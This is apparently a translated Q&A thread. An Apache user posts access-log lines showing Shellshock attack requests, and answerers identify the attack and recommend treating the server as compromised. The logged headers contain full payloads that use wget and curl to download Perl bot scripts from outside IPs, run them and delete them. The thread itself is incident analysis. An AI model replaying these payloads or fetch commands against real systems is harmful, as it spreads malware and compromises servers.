hacking para o meu apache usando o script cgi

1

Eu sou novato em programação web, então eu configurei um servidor apache2 para minha prática.

Parece que alguém conseguiu hackear meu servidor apache. Eu tenho notado no meu access.log a seguinte linha:

81.169.174.52 - - [22/Jan/2015:17:24:39 +0200] "GET /cgi-bin/contact.cgi HTTP/1.1" 200 1531 "-" "() { :;};/usr/     bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://202.191.121.230/ou.pl      -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*\");'"

e também este:

80.92.84.168 - - [22/Jan/2015:18:21:08 +0200] "GET /phppath/cgi_wrapper HTTP/1.0" 200 3360 "-" "() { :;};/usr/bin/perl -e 'print      \"Content-Type: text/plain\r\n\r\nXSUCCESSX\";system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm -     rf /tmp/bot.pl\");'"

Parece que eles já conseguiram hackear, de acordo com HTTP-200, significa o pedido concedido.

Quando eu tento 'rastrear' o comando na requisição (executando cada comando manualmente):

system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm - rf /tmp/bot.pl\");'"

Eu posso ver que eu consegui baixar o arquivo 'bot.txt'. quando eu abro o arquivo 'bot.txt' e vejo um script em perl. Eu não sou um perl monk, mas eu posso ver que o seu processo de "bifurcação", que cada um tenta abrir portas para outros servidores. também vi uma função dentro do código que tenta procurar por portas abertas na minha estação.

Minhas perguntas:

  • alguém conhece esse problema?
  • como posso configurar o meu apache2.conf para evitar esse tipo de hacking?

Thx

    
por YyYo 22.01.2015 / 21:32

2 respostas

5

O invasor está tentando explorar a vulnerabilidade Bash Shellshock . Você pode verificar se está ou não vulnerável com alguns testes de linha de comando simples (que por si só não são prejudiciais), já abordados em outra postagem do SF:

Seus registros mostram que eles retornaram 200 códigos de status HTTP, indicando que o Apache atendeu a ambos os pedidos sem erro. Se contact.cgi ou cgi_wrapper falhar, esperaria que o Apache retornasse um código de status 500 (erro interno do servidor). Isso sugere que os dois scripts, pelo menos, tentaram explorar o Shellshock.

Se você puder determinar que tem uma versão vulnerável do Bash no seu sistema, então acho que é provável que os scripts ou.pl e bot.pl tenham sido realmente baixados e executados em seu sistema. Dado isso, você não deve fazer nenhuma suposição sobre a integridade do sistema, porque não há realmente nenhuma maneira de saber o que pode ter sido feito após a invasão inicial. Como você lida com isso é algo que você terá que determinar por conta própria, mas há algumas boas sugestões nesta questão do SF:

por 22.01.2015 / 23:01
-2

Este é um worm clássico de espalhamento Shellshock.

Se vulnerável, faça o download de um arquivo .txt (que é um downloader), execute-o, baixe um arquivo .tar, extraia-o, execute o binário interno, que é um rootkit e um scanner.

Aqui, um estudo rápido sobre esse comportamento: what-a- real-shellshock-attack-parece-like

Mike.

    
por 09.04.2015 / 12:19